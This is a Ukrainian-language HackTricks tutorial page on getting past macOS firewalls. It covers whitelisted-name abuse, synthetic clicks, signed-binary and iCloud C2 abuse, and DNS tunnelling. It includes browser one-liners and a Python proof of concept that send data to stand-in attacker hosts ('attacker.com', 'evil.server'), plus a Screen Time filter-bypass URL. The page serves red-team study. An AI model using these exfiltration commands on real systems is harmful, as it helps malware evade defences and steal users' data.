macOS Bypassing Firewalls
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Знайдені техніки
Наступні техніки були виявлені як працюючі в деяких програмах брандмауера macOS.
Зловживання іменами у білому списку
- Наприклад, викликати шкідливе ПЗ з іменами відомих процесів macOS, таких як
launchd
Синтетичний клік
- Якщо брандмауер запитує дозвіл у користувача, змусьте шкідливе ПЗ натиснути на дозволити
Використовуйте підписані Apple бінарні файли
- Як
curl
, але також інші, такі якwhois
Відомі домени Apple
Брандмауер може дозволяти з'єднання з відомими доменами Apple, такими як apple.com
або icloud.com
. І iCloud може бути використаний як C2.
Загальний обхід
Деякі ідеї для спроби обійти брандмауери
Перевірка дозволеного трафіку
Знання дозволеного трафіку допоможе вам визначити потенційно включені в білий список домени або які програми мають доступ до них.
lsof -i TCP -sTCP:ESTABLISHED
Зловживання DNS
DNS-резолюції виконуються через mdnsreponder
підписаний додаток, який, ймовірно, буде дозволено для зв'язку з DNS-серверами.
.png)
Через браузерні додатки
- oascript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
- Google Chrome
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
- Firefox
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
- Safari
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
Через ін'єкції процесів
Якщо ви можете впровадити код у процес, який має право підключатися до будь-якого сервера, ви можете обійти захист брандмауера:
{{#ref}} macos-proces-abuse/ {{#endref}}
Недавні вразливості обходу брандмауера macOS (2023-2025)
Обхід фільтра веб-контенту (Час екрану) – CVE-2024-44206
У липні 2024 року Apple виправила критичну помилку в Safari/WebKit, яка зламала системний “Фільтр веб-контенту”, що використовується батьківським контролем Часу екрану. Спеціально підготовлений URI (наприклад, з подвоєним URL-кодованим “://”) не розпізнається ACL Часу екрану, але приймається WebKit, тому запит надсилається без фільтрації. Будь-який процес, який може відкрити URL (включаючи пісочницю або непідписаний код), може таким чином досягати доменів, які явно заблоковані користувачем або профілем MDM.
Практичний тест (непоправлена система):
open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
# if the patch is missing Safari will happily load the page
Помилка порядку правил фільтрації пакетів (PF) в ранніх версіях macOS 14 “Sonoma”
Під час бета-циклу macOS 14 Apple ввела регресію в обгортку користувацького простору навколо pfctl
.
Правила, які були додані з ключовим словом quick
(використовуються багатьма VPN kill-switchами), були тихо проігноровані, що призвело до витоків трафіку, навіть коли GUI VPN/фаєрвола повідомляв заблоковано. Помилка була підтверджена кількома постачальниками VPN і виправлена в RC 2 (збірка 23A344).
Швидка перевірка витоків:
pfctl -sr | grep quick # rules are present…
sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface
Зловживання службами допомоги, підписаними Apple (старі версії – до macOS 11.2)
Перед macOS 11.2 ContentFilterExclusionList
дозволяв ~50 бінарних файлів Apple, таких як nsurlsessiond
та App Store, обходити всі фаєрволи з фільтрацією сокетів, реалізовані за допомогою фреймворку Network Extension (LuLu, Little Snitch тощо).
Шкідливе ПЗ могло просто запустити виключений процес — або впровадити в нього код — і тунелювати свій трафік через вже дозволений сокет. Apple повністю видалила список виключень у macOS 11.2, але техніка все ще актуальна на системах, які не можуть бути оновлені.
Приклад доказу концепції (до 11.2):
import subprocess, socket
# Launch excluded App Store helper (path collapsed for clarity)
subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store'])
# Connect through the inherited socket
s = socket.create_connection(("evil.server", 443))
s.send(b"exfil...")
Поради щодо інструментів для сучасного macOS
- Перевірте поточні правила PF, які генерують графічні брандмауери:
sudo pfctl -a com.apple/250.ApplicationFirewall -sr
- Перерахуйте бінарні файли, які вже мають право outgoing-network (корисно для підключення):
codesign -d --entitlements :- /path/to/bin 2>/dev/null \
| plutil -extract com.apple.security.network.client xml1 -o - -
- Програмно зареєструйте свій власний фільтр контенту мережевого розширення в Objective-C/Swift. Мінімальний безкореневий PoC, який пересилає пакети на локальний сокет, доступний у вихідному коді LuLu Патрика Уордела.
Посилання
- https://www.youtube.com/watch?v=UlT5KFTMn2k
- https://nosebeard.co/advisories/nbl-001.html
- https://thehackernews.com/2021/01/apple-removes-macos-feature-that.html
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.